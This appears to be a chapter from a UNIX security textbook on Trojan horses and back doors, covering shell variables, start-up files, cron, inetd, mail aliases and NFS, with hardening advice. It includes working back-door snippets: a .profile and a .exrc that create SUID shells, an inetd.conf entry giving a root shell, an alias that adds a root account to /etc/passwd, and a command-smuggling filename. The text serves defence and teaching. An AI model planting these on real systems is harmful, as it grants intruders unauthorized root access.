The types of programmed threats you are most likely to encounter in the UNIX environment are Trojan horses and back doors. In part, this is because writing effective worms and viruses is difficult; also, attackers do not intend outright damage to your system. Instead, they use Trojan horses or back doors to gain (or regain) additional access to your system. If damage is a goal, obtaining superuser access is usually a first step in the process.
Some of the features that give UNIX flexibility and power also enable attackers to craft workable Trojan horse or back door schemes.
In general, attacks come in one of the following forms:
Altering the expected behavior of the shell (command interpreter)
Abusing some form of start-up mechanism
Subverting some form of automatic mechanism
Exploiting unexpected interactions
All of these plans are designed basically to get a privileged user or account to execute commands that would not normally be executed. For example, one very common Trojan horse is a program named su that, instead of making you the superuser, sends a copy of the superuser password to an account at another computer.
To protect your system effectively, you need to know how these attacks work. By understanding the methods of attack, you can then be aware of how to prevent them.
An equally important part of protecting yourself is to run a secure system in general. Normal computer security procedures will protect your system against both programmed threats and malicious users.
The shells (csh, sh, ksh, tcsh, and others) provide users with a number of shortcuts and conveniences. Among these features is a complete programming language with variables. Some of these variables govern the behavior of the shell itself. If an attacker is able to subvert the way the shell of a privileged user works, the attacker can often get the user (or a background task) to execute a task for him.
There are a variety of common attacks using features of the shell to compromise security. These are described in the following sections.
Each shell maintains a path, consisting of a set of directories to be searched for commands issued by the user. This set of directories is consulted, one at a time, when the user types a command whose name does not contain a / symbol, and which does not bind to an internal shell command name or alias.
In the Bourne and Korn shells, the PATH variable is normally set within the initialization file. The list of directories given normally consists of directories, separated by a colon (:). An entry of only a period, or an empty entry,[4] means to search the current directory. The csh path is initialized by setting the variable PATH with a list of space-separated directory names enclosed in parentheses.
[4] In a POSIX system, a null entry does not translate to the current directory; an explicit dot must be used.
For instance, the following are typical initializations that have vulnerabilities:
PATH=.:/usr/bin:/bin:/usr/local/bin sh or ksh set path = ( . /usr/bin /bin /usr/local/bin) csh
In the above, each command sets the search path to look first in the current directory, then in /usr/bin, then in /bin, and then in /usr/local/bin. This is a poor choice of settings, especially if the user has special privileges. The current directory, as designated by a null directory or period, should never be included in the search path. To illustrate the danger of placing the current directory in your path, see the example given in "Stealing Superuser" in Chapter 4, Users, Groups, and the Superuser.
You should also avoid this sort of initialization, which also places the current directory in your search path:
Incorrect:
PATH=:/usr/bin:/bin:/usr/local/bin: sh or ksh
Correct:
PATH= /usr/bin:/bin:/usr/local/bin sh or ksh
The colons (:) should only be used as delimiters, not as end caps.
No sensitive account should ever have the current directory in its search path.[5] This rule is especially true of the superuser account! More generally, you should never have a directory in your search path that is writable by other users. Some sites keep a special directory, such as /usr/local/bin/, world-writable (mode 777) so that users can install programs for the benefit of others. Unfortunately, this practice opens up the entire system to the sort of attacks outlined earlier.
[5] We would argue that no account should have the current directory in its search path, but we understand how difficult this practice would be to enforce.
Putting the current directory last in the search path is also not a good idea. For instance, if you use the more command frequently, but sometimes type mroe, the attacker can take advantage of this by placing a Trojan horse named mroe in this directory. It may be many weeks or months before the command is accidentally executed. However, when the command is executed, your security will be penetrated.
We strongly recommend that you get into the habit of typing the full pathname of commands when you are running as root. For example, instead of only typing chown, type /etc/chown to be sure you are getting the system version! This may seem like extra work, but when you are running as root, you also bear extra responsibility.
If you create any shell files that will be run by a privileged user - including root, uucp, bin, etc. - get in the habit of resetting the PATH variable as one of the first things you do in each shell file. The PATH should include only sensible, protected directories. This method is discussed further in Chapter 23, Writing Secure SUID and Network Programs.
The IFS variable can be set to indicate what characters separate input words (similar to the -F option to awk). The benefit of this variable is that you can use it to change the behavior of the shell in interesting ways. For example, you could use the following shell script to get a list of account names and their home directories:
#!/bin/sh IFS=":" while read acct passwd uid gid gcos homedir shell do echo $acct " " $homedir done < /etc/passwd
(In the example shown earlier, the shell has already read and parsed the whole file before the assignment to IFS is executed, so the remaining words are not separated with colon (:) characters.)
The IFS feature has largely been superseded by other tools, such as awk and Perl. However, the feature lives on and can cause unexpected damage. By setting IFS to use / as a separator, an attacker could cause a shell file or program to execute unexpected commands, as described in Section 5.5.3.2, "Another SUID example: IFS and the /usr/lib/preserve hole".
Most modern versions of the shell will reset their IFS value to a normal set of characters when invoked. Thus, shell files will behave properly. However, not all do. To determine if your shell is immune to this problem, try executing the following:
: A test of the shell cd /tmp cat > tmp <<'E-O-F' echo "Danger!" echo "Your shell does NOT reset the IFS variable!" E-O-F cat > foo <<"E-O-F" echo "Your shell appears well behaved." E-O-F cat > test$$ <<"E-O-F" /tmp/foo E-O-F chmod 700 tmp foo test$$ PATH=.:$PATH IFS="/$IFS" export PATH IFS test$$ rm -f tmp foo test$$
Failure to reset the IFS variable is not itself a security problem. The difficulty arises when a shell file is executed on behalf of a user, or if some command is executed from within a program using the system() or popen() calls (they both use the shell to parse and execute their arguments). If an attacker can execute the program as a privileged user and reset the search path, then he can compromise security. You should be especially cautious about writing shell files and SUID/SGID programs if your shell does not reset IFS.
Yet another tactic that can be exploited, in some circumstances, is to reset the HOME variable. Normally, the csh and ksh substitute the value of this variable for the ~ symbol when it is used in pathnames. Thus, if an attacker is able to change the value of this variable, he might also be able to take advantage of a shell file that used the ~ symbol as a shorthand for the home directory.
For example, if there is a SUID csh file (despite our warnings about both csh and SUID shell files) that references ~/.rhosts for the user, an attacker could subvert it by resetting the HOME environment variable before running it.
One subtle form of attack results from an interaction between the shell and the filesystem. The UNIX filesystem has no stipulations on the characters that can be used in a filename, other than that the slash (/) and null (ASCII 0) character cannot be used. Consequently, other special characters can be used, including the following:
` ; | & $
The problem exists when a user finds that some script or command is executed on a regular basis by a privileged user, and the command uses filenames as an argument. If your attacker should create a filename with the appropriate sequence of characters, the attacker could execute a command of his or her choosing.
This problem most often manifests itself when there are scripts run from the cron file to do filesystem sweeps or accounting. The commands most susceptible to this form of attack are find and xargs,[6] along with anything that edits input and moves it to a shell. The following script demonstrates all three and checks the versions of your programs to see if they can be used in such an attack. If so, examine carefully any scripts you run regularly.
[6] The GNU find and xargs programs have a -0 option which causes the programs to use the NULL character as the delimiter rather than the linefeed. The use of this option protects these commands from filename attacks of the variety described in this section.
: A Test of three basic commands cd /tmp if test -f ./gotcha then echo "Ooops! There is already a file named gotcha here." echo "Delete it and try again." exit 1 fi cat > gotcha <<E-O-F echo "Haha! Gotcha! If this was nasty, you would have a problem! 1>&2" touch g$$ exit 2 E-O-F chmod +x ./gotcha fname='foo;`gotcha`' touch "$fname" PATH=.:$PATH export PATH find /tmp -type f -exec echo {} \; > /dev/null if test -f ./g$$ then echo "Ooops! find gotcha!" rm -f g$$ else echo "find okay" fi ls -1 * | sed 's/^/wc /' | sh >/dev/null if test -f ./g$$ then echo "Ooops! your shell gotcha!" rm -f g$$ else echo "your shell okay" fi ls -1 | xargs ls >/dev/null if test -f ./g$$ then echo "Ooops! xargs gotcha!" rm -f g$$ else echo "xargs okay" fi rm -f ./gotcha "$fname" g$$
Various programs have methods of automatic initialization to set options and variables for the user. Once set, the user normally never looks at these again. As a result, they are a great spot for an attacker to make a hidden change to be executed automatically on her behalf.
The problem is not that these start-up files exist, but that an attacker may be able to write to them. All start-up files should be protected so only the file's owner can write to them. Even having group-write permission on these files may be dangerous.
These files are executed when the user first logs in. Commands within the files are executed by the user's shell. Allowing an attacker to write to these files can result in arbitrary commands being executed each time the user logs in, or on a one-time basis (and hidden):
: attacker's version of root's .profile file /bin/cp /bin/sh /tmp/.secret /etc/chown root /tmp/.secret /bin/chmod 4555 /tmp/.secret : run real .profile and replace this file mv /.real_profile /.profile . /.profile
These are files that can be executed at login or when a new shell is run. They may also be run after executing su to the user account.
This file is read and executed when the GNU Emacs editor is started. Commands of arbitrary nature may be written in Emacs LISP code and buried within the user's Emacs start-up commands. Furthermore, if any of the directories listed in the load-path variable are writable, the library modules can be modified with similar results.
This file is read for initialization when the ex or vi editor is started. What is particularly nasty is that if there is a version of this file present in the current directory, then its contents may be read in and used in preference to the one in the user's home directory.
Thus, an attacker might do the following in every directory where he has write access:
% cat > .exrc !(cp /bin/sh /tmp/.secret;chmod 4755 /tmp/.secret)& ^D
Should the superuser ever start either the vi or ex editor in one of those directories, the superuser will unintentionally create an SUID sh. The superuser will notice a momentary display of the ! symbol during editor start-up. The attacker can then, at a later point, recover this SUID file and take full advantage of the system.
Some versions of the vi/ex software allow you to put the command set noexrc in your EXINIT environment variable. This ability prevents any local .exrc file from being read and executed.
Some mailers allow the user to specify special handling of mail by placing special files in their home directory. With sendmail, the user may specify certain addresses and programs in the .forward file. If an attacker can write to this file, she can specify that upon mail receipt a certain program be run - like a shell script in /tmp that creates a SUID shell for the attacker.
Many popular mailer packages allow users to write filter files to process their mail in a semi-automated fashion. This includes the procmail system, MH, elm, and several others. Some of these programs are quite powerful, and have the potential to cause problems on your system. If a user writes a filter to trigger on a particular form of mail coming into the mailbox, an attacker could craft a message to cause unwarranted behavior.
For example, suppose that one of your users has installed an autoreply to send an "out-of-the-office" reply to any incoming mail. If someone with malicious intent were to send a forged mail message with a bad return address, the hapless user's mailer would send an automated reply. However, the bad address would cause a bounce message to come back, only to trigger another autoreply. The result is an endless exchange of autoreplies and error messages, tying up network bandwidth (if non-local), log file space, and disk space for the user. (The solution is to use an autoreply that either sends a reply to each address only once every few days, and that recognizes error messages. Unfortunately, novice users, by definition, seldom think about how what they write can go wrong.)
Other programs also have initialization files that can be abused. Third-party systems that you install on your system, such as database systems, office interfaces, and windowing systems, all may have initialization files that can cause problems if they are configured incorrectly or are writable. You should carefully examine any initialization files present on your system, and especially check their permissions.
Many programs allow you to set initialization values in environment variables in your shell rather than in your files. These can also cause difficulties if they are manipulated maliciously. For instance, in the above example for vi, the Trojan horse can be planted in the EXINIT environment variable rather than in a file. The attacker then needs to trick the superuser into somehow sourcing a file or executing a shell file that sets the environment variable and then executes the editor. Be very wary of any circumstances where you might alter one of your shell variables in this way!
Another possible source of initialization errors comes into play when you edit files that have embedded edit commands. Both vi/ex and Emacs allow you to embed editor commands within text files so they are automatically executed whenever you edit the file. For this to work, they must be located in the first few or last few lines of the file.
To disable this feature in Emacs, place one of these lines in your .emacs file:
(setq inhibit-local-variables t) ; emacs version 18
or:
(setq enable-local-variables "ask") ; emacs verison 19 and above
We know of no uniform method of disabling the undesired behavior of vi/ex on every platform without making alterations to the source. Some vendors may have provided a means of shutting off this automatic initialization, so check your documentation.
UNIX has programs and systems that run automatically. Many of these systems require special privileges. If an attacker can compromise these systems, he may be able to gain direct unauthorized access to other parts of the operating system, or to plant a back door to gain access at a later time.
In general, there are three principles to preventing abuse of these automatic systems:
Don't run anything in the background or periodically with any more privileges than absolutely necessary.
Don't have configuration files for these systems writable by anyone other than the superuser. Consider making them unreadable, too.
When adding anything new to the system that will be run automatically, keep it simple and test it as thoroughly as you can.
The first principle suggests that if you can run something in the background with a user ID other than root, you should do so. For instance, the uucp and Usenet cleanup scripts that are usually executed on a nightly basis should be run from the uucp and news UIDs, rather than as the superuser. Those shell files and their directories should all be protected so that they are unwritable by other users. In this way, an attacker can't modify the files and insert commands that will be automatically executed at a later time.
There are three forms of crontab files. The oldest form has a line with a command to be executed as superuser whenever the time field is matched by the cron daemon.[7] To execute commands from this old-style crontab file as a user other than root, it is necessary to make the command listed in the crontab file use the su command. For example:
[7] All crontab files are structured with five fields (minutes, hours, days, months, day of week) indicating the time at which to run the command.
59 1 * * * su news -c /usr/lib/news/news.daily
This has the effect of running the su command at 1:59 a.m., resulting in a shell running as user news. The shell is given arguments of both -c and /usr/lib/news/news.daily that then cause the script to be run as a command.
The second form of the cron file has an extra field that indicates on whose behalf the command is being run. Below, the script is run at 1:59 a.m. as user news without the need for a su command. This version of cron is found principally in versions of UNIX derived from the older BSD version:
59 1 * * * news /usr/lib/news/news.daily
The third form of cron is found in System V systems, and later versions of BSD-derived UNIX. It keeps a protected directory with a separate crontab file for each user. The cron daemon examines all the files and dispatches jobs based on the user owning the file. This form of cron does not need any special care in the entries, although (like the other two versions) the files and directories need to be kept protected.
A freely redistributable version of cron that has this third type of behavior is available on many FTP sites (be sure to get the latest version). It was written by Paul Vixie and is available for anyone who wants to use it for noncommercial purposes. If you are stuck with the oldest form of cron, we suggest that you consider obtaining Paul's version to replace yours.
The /etc/inetd.conf file defines what programs should be run when incoming network connections are caught by the inetd daemon. An intruder who can write to the file may change one of the entries in the file to start up a shell or other program to access the system upon receipt of a message. So, he might change:
daytime stream tcp nowait root internal
to:
daytime stream tcp nowait root /bin/ksh ksh -i
This would allow an attacker to telnet to the daytime port on the machine, and get a root shell any time he wanted to get back on the machine. Note that this would not result in any unusual program appearing on the system. The only way to discover this trap is to include the inetd.conf file. Obviously, this is a file to include as part of the checklists procedure for examining altered files. It is also a file that should be closely guarded.
Note that even if the command names look appropriate for each of the services listed in the inetd.conf file, if the corresponding files are writable or in a writable directory, the attacker may replace them with altered versions. They would not need to be SUID/SGID because the inetd would run them as root (if so indicated in the file).
This is the file of system-wide electronic mail aliases used by the sendmail program. Similar files exist for other mailers.
The danger with this file is that an attacker can create a mail alias that automatically runs a particular program. For example, an attacker might add an alias that looks like this:
uucheck: "|/usr/lib/uucp/local_uucheck"
He might then create a SUID root file called /usr/lib/uucp/local_uucheck that essentially performs these operations:[8]
[8] An actual attacker would make local_uucheck a compiled program to hide its obvious effect.
#!/bin/sh echo "uucheck::0:0:fake uucp:/:/bin/sh" >> /etc/passwd
The attacker now has a back door into the system. Whenever he sends mail to user uucheck, the system will put an entry into the password file that will allow the attacker to log in. He can then edit the entry out of the password file, and have free reign on the system. How often do you examine your alias file?
There are other ways of exploiting email programs that do not require the creation of SUID programs. We have omitted them from this text for safety, as an astonishingly large number of sites have world-writable alias files.
Be sure that your alias file is not writable by users (if for no other reason than the fact that it gives users an easy way to intercept your mail). Make certain that no alias runs a program or writes to a file unless you are absolutely 100% certain what the program does.
Most UNIX systems have a program called at that allows users to specify commands to be run at a later time. This program is especially useful for jobs that only need to be run once, although it is also useful on systems that do not have a modern version of cron that allows users to set their own delayed jobs.
The at command collects environment information and commands from the user and stores them in a file for later execution. The user ID to be used for the script is taken from the queued file. If an attacker can get into the queue directory to modify the file owner or contents, it is possible that the files can be subverted to do something other than what was intended. Thus, for obvious reasons, the directory where at stores its files should not be writable by others, and the files it creates should not be writable (or readable) by others.
Try running at on your system. If the resulting queue files (usually in /usr/spool/atrun, /usr/spool/at, or /var/spool/atrun) can be modified by another user, you should fix the situation or consider disabling the atrun daemon (usually dispatched by cron every 15 minutes).
The system initialization files are another ideal place for an attacker to place commands that will allow access to the system. By putting selected commands in the /etc/rc*, /etc/init.d/*, /etc/rc?.d, and other standard files, an attacker could reconstruct a back door into the system whenever the system is rebooted or the run-level is changed. All the files in /etc should be kept unwritable by other users!
Be especially careful regarding the log files created by programs automatically run during system initialization. These files can be used to overwrite system files through the use of symlinks.
Other files may be run on a regular basis, and these should be protected in a similar manner. The programs and data files should be made nonwritable (and perhaps nonreadable) by unprivileged users. All the directories containing these files and commands up to and including the root directory should be made nonwritable.
As an added precaution, none of these files or directories (or the ones mentioned earlier) should be exported via NFS (described in Chapter 20, NFS). If you must export the files via NFS, export them read-only, and/or set their ownership to root.
Note that this presents a possible contradiction: setting files to root that don't need to be set to root to run. For instance, if you export the UUCP library via NFS, you would need to set the files and directory to be owned by root to prevent their modification by an attacker who has subverted one of your NFS hosts. At the same time, that means that the shell files may be forced to run as root instead of as uucp - otherwise, they won't be able to modify some of the files they need to alter!
In circumstances such as these, you should export the directories read-only and leave the files owned by uucp. If there is any reason at all to have writable files or subdirectories in what you export,[9] use symbolic links to keep a separate copy on each system. For instance, you could replace a file in the exported directory via a link to /local/uucp or /var/uucp and create a local version on each machine.
[9] No obvious example comes to mind. We recommend against thinking of any!
Other files and directories to protect include:
The NIS/NIS+ database and commands (often in /usr/etc/yp or /var/nis)
The files in /usr/adm, /var/adm, and /or /var/log used for accounting and logging
The files in your mailer queue and delivery area (usually /usr/spool/mqueue and /usr/spool/mail or linked to those names)
All the files in the libraries (/lib, /usr/lib, and /usr/local/lib)
No files that are used as part of your system's start-up procedure or for other automatic operations should be exported via NFS. If these files must be exported using NFS, they should be set on the server to be owned by root and placed in a directory that is owned by root. Do not export files or directories for UUCP or other subsystems that require ownership by users other than root.